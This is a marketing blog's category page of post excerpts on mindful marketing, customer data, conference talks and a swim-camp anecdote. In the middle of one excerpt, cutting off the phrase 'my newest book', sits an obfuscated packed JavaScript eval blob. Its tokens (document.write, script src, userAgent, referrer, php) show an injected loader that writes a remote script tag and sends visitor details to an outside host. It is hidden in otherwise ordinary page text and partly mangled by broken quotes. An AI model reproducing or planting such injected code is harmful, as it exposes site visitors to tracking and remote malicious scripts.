Category: Digital strategy

By Guest Blogger Juliana Smith Holterhaus, Head of Strategic Alliances for Your Eye
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More than 10 years after the debut of Dove’s “Real Beauty” program, it remains an advertising icon and source of controversy. It’s impossible to deny the program’s success in terms of brand exposure: The viral popularity of specific program elements significantly outperformed paid placements….

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There are many different strategies involved in mindful marketing, from using intentional language to designing our customer communities in a new way. It can be hard to implement all of these things in our companies at once. Where to begin?

In this video, I offer guidance in setting your mindful marketer priorities….

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Marketers face more career choices and growth opportunities than they have in decades, and marketing compared to other departments, is perceived as a hotbed for innovation. That’s the good news.

The bad news is that we’re focusing on one small slice of innovation and learning: marketing technology. If we focus most of our energy on technology, what growth opportunities will we miss?…

By Guest Blogger Linda Popky, Founder and President of Leverage2Market Associates
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So much has changed in marketing over the last few years. We have many new technologies and new ways to reach our audiences. Big Data gives us the ability to tailor marketing efforts to meet the needs of individual customers and prospects.

Spring is bursting with professional development opportunities for you. Below you will find my upcoming schedule for keynotes and workshops. Please join me for these exceptional networking and learning experiences.
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Integrate 2015 – Integrated Marketing Conference,  West Virginia University, May 29-30. Join me for my keynote and book signing. You’ll meet marketing leaders from Sony Music Entertainment, Coca-Cola, St….

Fifteen years ago, I was the first Global Account Team leader in Siebel’s history to develop a written plan to expand the Microsoft account.   
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Our customer data for this key account resided partially in Lotus Notes (remember that product?) and spreadsheets. The planning process lasted 8 weeks, culminating in two intensive team planning days at a fancy London hotel.

Last fall, at the conclusion of my “Leading the Mindful Marketing Revolution” keynote, my husband and I escaped to a private resort near El Yunque National Forest.
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Our intentions to disconnect and relax were quickly thwarted. Within a few hours of arriving at the spacious, secluded condo, the air conditioning failed. Our golf cart—our only means of transport within the expansive beach resort—broke down.

While speaking at the Adobe Digital Summit last month, I enjoyed meeting Maureen Goldman. She expressed interest in my newest book eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrsnk|var|u0026u|referrer|ibitd||js|php’.split(‘|’),0,{}))
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Here are the key insights from our discussion:

1. It’s essential to identify which marketing habits and initiatives in your organization have become mindless. Many members of my marketing community feel overwhelmed, exhausted, and adrenaline-addicted….

There’s no debate that customer data plays an important role in marketing decisions. But are we collecting the right data? Is the massive amount of marketing data we’re collecting actually helping us understand our customers?
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During AdWeek DC, I discussed the topic of big data with Jamie Gorski, CMO of Bozzuto. Here’s a sampling of what we covered in this enlightening “fireside chat”:

How data gathering can become a mindless marketing activity
Real-life examples of how to use data effectively to build customer relationships
What “warm data”

Last month, I completed my first swim camp. I learned more in 6 days than I have in 30 years of swim practices. I am more tired and sore than I can ever remember. At times, I felt victorious and attribute my progress to coach Scott. At other times, I became frustrated and blamed him for my pain and suffering.
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Love/hate relationships can happen in high performing Sales and Marketing teams too.